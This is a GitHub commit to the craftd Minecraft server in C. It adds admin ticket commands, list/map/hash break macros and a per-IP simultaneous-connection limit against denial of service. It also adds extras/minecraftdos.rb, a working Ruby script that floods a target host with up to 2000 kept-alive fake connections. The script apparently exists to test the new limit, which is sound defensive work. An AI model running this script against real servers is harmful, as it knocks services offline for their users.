Skip to content

Commit

Permalink
Various stuff.
Browse files Browse the repository at this point in the history
admin: Add /ticket stuff.

List: Add CD_LIST_BREAK

Map: Add CD_MAP_BREAK

Hash: Add CD_HASH_BREAK

Server: Added some anti DoS stuff.
  • Loading branch information
meh committed Mar 13, 2011
1 parent 5593631 commit 0e5aca4
Show file tree
Hide file tree
Showing 12 changed files with 224 additions and 27 deletions.
3 changes: 2 additions & 1 deletion craftd.conf.dist.in
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,8 @@
},

"port": 25565,
"backlog": 16
"backlog": 16,
"simultaneous": 3
},

"workers": 2,
Expand Down
49 changes: 49 additions & 0 deletions extras/minecraftdos.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
#! /usr/bin/env ruby
require 'socket'
require 'thread'

HOST, PORT = ARGV.shift.split(':') + [25565]
COUNT = ARGV.shift || 2000

sockets = Class.new(Array) {
def initialize (number)
@number = number
end

def spawn
self.each {|s|
self.delete(s) if s.closed?
}

to_spawn = @number - self.length

if to_spawn > 0
puts "Spawning #{to_spawn} fake connections"

1.upto(to_spawn) {
socket = TCPSocket.new(HOST, PORT)
socket.write_nonblock("\x02\xff\xff")

self << socket
}
end
end
}.new(COUNT)

thread = Thread.new {
loop do
sockets.each {|socket|
begin
socket.write_nonblock((rand * 255).floor.chr)
rescue Exception => e
socket.close rescue nil
end
}

begin; sockets.spawn; rescue; break; end

sleep 0.5
end
}

thread.join
1 change: 1 addition & 0 deletions include/craftd/Config.h
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@ typedef struct _CDConfig {

uint16_t port;
int backlog;
uint8_t simultaneous;
} connection;

struct {
Expand Down
3 changes: 3 additions & 0 deletions include/craftd/Hash.h
Original file line number Diff line number Diff line change
Expand Up @@ -216,4 +216,7 @@ bool CD_HashStopIterating (CDHash* self, bool stop);
\
it = CD_HashNext(it))

#define CD_HASH_BREAK(self) \
CD_HashStopIterating(self, false); break

#endif
3 changes: 3 additions & 0 deletions include/craftd/List.h
Original file line number Diff line number Diff line change
Expand Up @@ -231,4 +231,7 @@ bool CD_ListStopIterating (CDList* self, bool stop);
\
it = CD_ListNext(it))

#define CD_LIST_BREAK(self) \
CD_ListStopIterating(self, false); break

#endif
3 changes: 3 additions & 0 deletions include/craftd/Map.h
Original file line number Diff line number Diff line change
Expand Up @@ -214,4 +214,7 @@ bool CD_MapStopIterating (CDMap* self, bool stop);
\
it = CD_MapNext(it))

#define CD_MAP_BREAK(self) \
CD_MapStopIterating(self, false); break

#endif
1 change: 1 addition & 0 deletions include/craftd/Player.h
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,7 @@ typedef enum _CDPlayerStatus {
*/
typedef struct _CDPlayer {
MCEntity entity;

MCFloat yaw;
MCFloat pitch;

Expand Down
116 changes: 110 additions & 6 deletions plugins/admin/admin.c
Original file line number Diff line number Diff line change
Expand Up @@ -110,7 +110,9 @@ cdadmin_CreateTicket (CDPlayer* requester, CDString* content)
void
cdadmin_DestroyTicket (CDATicket* self)
{
CD_DestroyString(self->content);
if (self->content) {
CD_DestroyString(self->content);
}

CD_free(self);
}
Expand Down Expand Up @@ -448,7 +450,8 @@ cdadmin_HandleCommand (CDServer* server, CDPlayer* player, CDString* command)
goto done;
}

size_t i = 0;
size_t count = 0;
size_t shown = 0;

CD_LIST_FOREACH(_tickets, it) {
CDATicket* ticket = (CDATicket*) CD_ListIteratorValue(it);
Expand All @@ -473,14 +476,30 @@ cdadmin_HandleCommand (CDServer* server, CDPlayer* player, CDString* command)
}
}

count++;

if (!show) {
continue;
}
else {
shown++;
}

if (ticket->assignee) {
cdadmin_SendResponse(player, CD_CreateStringFromFormat(
MC_COLOR_DARKRED "%d: " MC_COLOR_WHITE "%s (%s)" MC_COLOR_GRAY "> " MC_COLOR_WHITE "%s",
count - 1, CD_StringContent(ticket->requester->username),
CD_StringContent(ticket->assignee->username), CD_StringContent(ticket->content)));
}
else {
cdadmin_SendResponse(player, CD_CreateStringFromFormat(
MC_COLOR_DARKRED "%d: " MC_COLOR_WHITE "%s" MC_COLOR_GRAY "> " MC_COLOR_WHITE "%s",
count - 1, CD_StringContent(ticket->requester->username), CD_StringContent(ticket->content)));
}

cdadmin_SendResponse(player, CD_CreateStringFromFormat(
MC_COLOR_DARKRED "%d: " MC_COLOR_WHITE "%s[%s]" MC_COLOR_GRAY ">" MC_COLOR_WHITE "%s",
i++, CD_StringContent(ticket->requester->username),
CD_StringContent(ticket->assignee->username), CD_StringContent(ticket->content)));
if (shown <= 0) {
cdadmin_SendResponse(player, CD_CreateStringFromCString("No tickets"));
}
}

goto done;
Expand All @@ -492,6 +511,55 @@ cdadmin_HandleCommand (CDServer* server, CDPlayer* player, CDString* command)
goto done;
}

CD_DO {
CDRegexpMatches* old = matches;
matches = CD_RegexpMatchString("^(\\d+)\\s+(.+)$", CDRegexpNone, old->item[2]);
CD_DestroyRegexpMatches(old);
}

if (!matches) {
cdadmin_SendUsage(player, CD_ADMIN_TICKET_MODERATOR_ASSIGN_USAGE);
goto done;
}

CDPlayer* assignee = NULL;

if (!CD_HashHas(server->players, CD_StringContent(matches->item[2]))) {
cdadmin_SendFailure(player, CD_CreateStringFromFormat("%s isn't connected",
CD_StringContent(matches->item[2])));

goto done;
}
else {
assignee = (CDPlayer*) CD_HashGet(server->players, CD_StringContent(matches->item[2]));

if (!cdadmin_AuthLevelIsEnough(assignee, CDLevelModerator)) {
cdadmin_SendFailure(player, CD_CreateStringFromFormat("%s isn't a moderator",
CD_StringContent(matches->item[2])));

goto done;
}
}

size_t id = atoi(CD_StringContent(matches->item[1]));
size_t current = 0;

CD_LIST_FOREACH(_tickets, it) {
if (current == id) {
CDATicket* ticket = (CDATicket*) CD_ListIteratorValue(it);

ticket->assignee = assignee;
ticket->status = CDTicketAssigned;

CD_LIST_BREAK(_tickets);
}

current++;
}

cdadmin_SendSuccess(player, CD_CreateStringFromFormat("Ticket assigned to %s",
CD_StringContent(matches->item[2])));

goto done;
}

Expand All @@ -501,6 +569,31 @@ cdadmin_HandleCommand (CDServer* server, CDPlayer* player, CDString* command)
goto done;
}

size_t id = atoi(CD_StringContent(matches->item[1]));
size_t current = 0;
CDATicket* ticket = NULL;

CD_LIST_FOREACH(_tickets, it) {
if (current == id) {
ticket = (CDATicket*) CD_ListIteratorValue(it);

CD_LIST_BREAK(_tickets);
}

current++;
}

if (ticket) {
CD_ListDelete(_tickets, (CDPointer) ticket);
cdadmin_DestroyTicket(ticket);

cdadmin_SendSuccess(player, CD_CreateStringFromFormat("Ticket %d closed", id));
}
else {
cdadmin_SendFailure(player, CD_CreateStringFromFormat("Ticket %d couldn't be found",
id));
}

goto done;
}
}
Expand Down Expand Up @@ -629,6 +722,17 @@ cdadmin_PlayerLogout (CDServer* server, CDPlayer* player, bool status)
{
CD_ListDeleteIf(_tickets, (CDPointer) player, (CDListCompareCallback) cdadmin_CompareTicket);

if (cdadmin_AuthLevelIsEnough(player, CDLevelModerator)) {
CD_LIST_FOREACH(_tickets, it) {
CDATicket* ticket = (CDATicket*) CD_ListIteratorValue(it);

if (ticket->assignee == player) {
ticket->status = CDTicketOpen;
ticket->assignee = NULL;
}
}
}

return true;
}

Expand Down
10 changes: 6 additions & 4 deletions src/Config.c
Original file line number Diff line number Diff line change
Expand Up @@ -48,8 +48,9 @@ CD_ParseConfig (const char* path)

self->cache.daemonize = true;

self->cache.connection.port = 25565;
self->cache.connection.backlog = 16;
self->cache.connection.port = 25565;
self->cache.connection.backlog = 16;
self->cache.connection.simultaneous = 3;

self->cache.connection.bind.ipv4.sin_family = AF_INET;
self->cache.connection.bind.ipv4.sin_addr.s_addr = INADDR_ANY;
Expand Down Expand Up @@ -118,8 +119,9 @@ CD_ParseConfig (const char* path)
}

J_IN(connection, server, "connection") {
J_INT(connection, "port", self->cache.connection.port);
J_INT(connection, "backlog", self->cache.connection.backlog);
J_INT(connection, "port", self->cache.connection.port);
J_INT(connection, "backlog", self->cache.connection.backlog);
J_INT(connection, "simultaneous", self->cache.connection.simultaneous);

J_IN(bind, connection, "bind") {
J_IF_STRING(bind, "ipv4") {
Expand Down
6 changes: 2 additions & 4 deletions src/Event.c
Original file line number Diff line number Diff line change
Expand Up @@ -84,8 +84,7 @@ cd_EventBeforeDispatch (CDServer* self, const char* eventName, ...)
}

if (!((CDEventCallback*) CD_ListIteratorValue(it))->function(self, eventName, ap)) {
result = CD_ListStopIterating(callbacks, false);
break;
result = CD_LIST_BREAK(callbacks);
}
}

Expand All @@ -109,8 +108,7 @@ cd_EventAfterDispatch (CDServer* self, const char* eventName, bool interrupted,
}

if (!((CDEventCallback*) CD_ListIteratorValue(it))->function(self, eventName, interrupted, ap)) {
result = CD_ListStopIterating(callbacks, false);
break;
result = CD_LIST_BREAK(callbacks);
}
}

Expand Down
10 changes: 6 additions & 4 deletions src/Player.c
Original file line number Diff line number Diff line change
Expand Up @@ -63,11 +63,13 @@ CD_DestroyPlayer (CDPlayer* self)
{
CD_EventDispatch(self->server, "Player.destroy", self);

bufferevent_flush(self->buffers->raw, EV_READ | EV_WRITE, BEV_FINISHED);
bufferevent_disable(self->buffers->raw, EV_READ | EV_WRITE);
bufferevent_free(self->buffers->raw);
if (self->buffers) {
bufferevent_flush(self->buffers->raw, EV_READ | EV_WRITE, BEV_FINISHED);
bufferevent_disable(self->buffers->raw, EV_READ | EV_WRITE);
bufferevent_free(self->buffers->raw);

CD_DestroyBuffers(self->buffers);
CD_DestroyBuffers(self->buffers);
}

if (self->username) {
CD_DestroyString(self->username);
Expand Down
46 changes: 38 additions & 8 deletions src/Server.c
Original file line number Diff line number Diff line change
Expand Up @@ -273,14 +273,6 @@ cd_Accept (evutil_socket_t listener, short event, CDServer* self)
return;
}

if (self->config->cache.game.players.max > 0) {
if (CD_HashLength(self->players) >= self->config->cache.game.players.max) {
close(fd);
SERR(self, "too many clients");
return;
}
}

if (getpeername(fd, (struct sockaddr*) &storage, &length) < 0) {
SERR(self, "could not get peer IP");
close(fd);
Expand All @@ -301,6 +293,44 @@ cd_Accept (evutil_socket_t listener, short event, CDServer* self)
CD_DestroyPlayer(player);
}

if (self->config->cache.game.players.max > 0) {
if (CD_HashLength(self->players) >= self->config->cache.game.players.max) {
SERR(self, "too many clients");
close(fd);
CD_DestroyPlayer(player);
return;
}
}

if (self->config->cache.connection.simultaneous > 0) {
size_t same = 0;

CD_MAP_FOREACH(self->entities, it) {
MCEntity* entity = (MCEntity*) CD_MapIteratorValue(it);

if (entity->type != MCEntityPlayer) {
continue;
}

CDPlayer* tmp = (CDPlayer*) entity;

if (CD_CStringIsEqual(tmp->ip, player->ip)) {
same++;
}

if (same >= self->config->cache.connection.simultaneous) {
CD_MAP_BREAK(self->entities);
}
}

if (same >= self->config->cache.connection.simultaneous) {
SERR(self, "too many connections from %s", player->ip);
close(fd);
CD_DestroyPlayer(player);
return;
}
}

player->socket = fd;
evutil_make_socket_nonblocking(player->socket);

Expand Down

0 comments on commit 0e5aca4

Please sign in to comment.